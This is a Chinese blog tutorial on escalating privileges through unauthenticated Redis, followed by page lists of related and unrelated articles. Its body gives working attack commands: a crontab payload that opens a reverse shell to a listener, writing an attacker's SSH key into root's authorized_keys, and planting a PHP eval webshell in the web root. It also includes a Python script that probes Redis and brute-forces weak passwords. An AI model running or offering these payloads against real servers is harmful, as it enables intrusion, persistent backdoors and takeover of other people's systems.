介绍:Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

提权:redis未授权访问从而进行权限提升

第一种:利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口

nc -lvnp 4444

然后执行命令:

  1. redis-cli -h 192.168.2.6
  2. set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
  3. config set dir /var/spool/cron/
  4. config set dbfilename root
  5. save

这种写shell的方式好像不是通用的,自己只测试过centos!


第二种: 写ssh-keygen公钥登录服务器

在以下条件下,可以利用此方法

1、Redis服务使用root账号启动

2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

利用过程:

1、本地生成ssh密钥

ssh-keygen -t rsa

2、在存在未授权访问的目标机上进行以下操作,写入公钥

  1. 192.168.63.130:6379> config set dir /root/.ssh/
  2. OK
  3. 192.168.63.130:6379> config set dbfilename authorized_keys
  4. OK
  5. 192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
  6. OK
  7. 192.168.63.130:6379> save
  8. OK

3、进行连接


第三种:获取web服务的shell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

执行以下命令

  1. config set dir /var/www/html/
  2. config set dbfilename shell.php
  3. set x "<?php @eval($_POST['caidao']);?>"
  4. save

未授权检测代码:

  1. #! /usr/bin/env python
  2. # _*_ coding:utf-8 _*_
  3. import socket
  4. import sys
  5. PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
  6. def check(ip, port, timeout):
  7. try:
  8. socket.setdefaulttimeout(timeout)
  9. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10. s.connect((ip, int(port)))
  11. s.send("INFO\r\n")
  12. result = s.recv(1024)
  13. if "redis_version" in result:
  14. return u"未授权访问"
  15. elif "Authentication" in result:
  16. for pass_ in PASSWORD_DIC:
  17. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18. s.connect((ip, int(port)))
  19. s.send("AUTH %s\r\n" %(pass_))
  20. result = s.recv(1024)
  21. if '+OK' in result:
  22. return u"存在弱口令,密码:%s" % (pass_)
  23. except Exception, e:
  24. pass
  25. if __name__ == '__main__':
  26. ip=sys.argv[1]
  27. port=sys.argv[2]
  28. print check(ip,port, timeout=10)

参考文章:https://blog.csdn.net/fly_hps/article/details/80937837

redis提权的更多相关文章

  1. Redis配置不当致使root被提权漏洞

    Redis配置不当致使root被提权漏洞 Dear all~ 最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注! 一.漏洞发布日期 2015 ...

  2. Redis 未授权访问漏洞批量提权

    一.getshell前提 ①能有对 /root/.ssh/目录写入的权限 ②目标机开启22端口 二.安装依赖 sudo easy_install redis 三.使用 redis python hac ...

  3. (数据库提权——Redis)Redis未授权访问漏洞总结

    一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...

  4. 【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)

    4.数据库安全基础 4.1.MSSQL 数据库角色权限 sysadmin:执行SQL Server中的任何动作 db_owner:可以执行数据库中技术所有动作的用户 public:数据库的每个合法用户 ...

  5. Cobalt Strike系列教程第七章:提权与横向移动

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  6. iOS冰与火之歌(番外篇) - 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权

    iOS冰与火之歌(番外篇) 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权 蒸米@阿里移动安全 0x00 序 这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用 ...

  7. CVE-2016-1240 Tomcat 服务本地提权漏洞

    catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容 ...

  8. linux一句话轻松提权

    linux命令:‍ [b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI** ...

  9. Android提权漏洞CVE-2014-7920&CVE-2014-7921分析

    没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...

随机推荐

  1. 池化方法总结(Pooling)

       https://blog.csdn.net/mao_kun/article/details/50507376 在卷积神经网络中,我们经常会碰到池化操作,而池化层往往在卷积层后面,通过池化来降低卷 ...

  2. Scala 系列(七)—— 常用集合类型之 Map & Tuple

    一.映射(Map) 1.1 构造Map // 初始化一个空 map val scores01 = new HashMap[String, Int] // 从指定的值初始化 Map(方式一) val s ...

  3. java之spring之配置讲解

    首先目录结构如下: 1. User.java package cn.sxt.vo; import java.util.Date; public class User { private String ...

  4. python 4. path的定义及参数,re_path

    path定义 path函数的定义为:path(route,view,name=None,kwargs=None) 可以查看官方文档 → 官方文档,下面是取自官方文档关于path的参数 函数 path( ...

  5. Django后台管理admin或者adminx中使用富文本编辑器

    在admin或者adminx后台中使用富文本编辑器 一.建立模型:(安装django-tinymce==2.6.0) from django.db import models from tinymce ...

  6. Python进阶(十三)----面向对象

    Python进阶(十三)----面向对象 一丶面向过程编程vs函数式编程vs面向对象编程 面向过程: ​ 简而言之,step by step 一步一步完成功能,就是分析出解决问题所需要的步骤,然后用函 ...

  7. CentOS - Eclipse安装Shelled

    一,下载Shelled: https://sourceforge.net/projects/shelled/ 二,打开Eclipse,以离线方式安装: Help->Install New Sof ...

  8. Jenkins详细教程

    大纲 1.背景 在实际开发中,我们经常要一边开发一边测试,当然这里说的测试并不是程序员对自己代码的单元测试,而是同组程序员将代码提交后,由测试人员测试: 或者前后端分离后,经常会修改接口,然后重新部署 ...

  9. httpclient工具类,post请求发送json字符串参数,中文乱码处理

    在使用httpclient发送post请求的时候,接收端中文乱码问题解决. 正文: 我们都知道,一般情况下使用post请求是不会出现中文乱码的.可是在使用httpclient发送post请求报文含中文 ...

  10. 【转】高性能网络编程7--tcp连接的内存使用

    当服务器的并发TCP连接数以十万计时,我们就会对一个TCP连接在操作系统内核上消耗的内存多少感兴趣.socket编程方法提供了SO_SNDBUF.SO_RCVBUF这样的接口来设置连接的读写缓存,li ...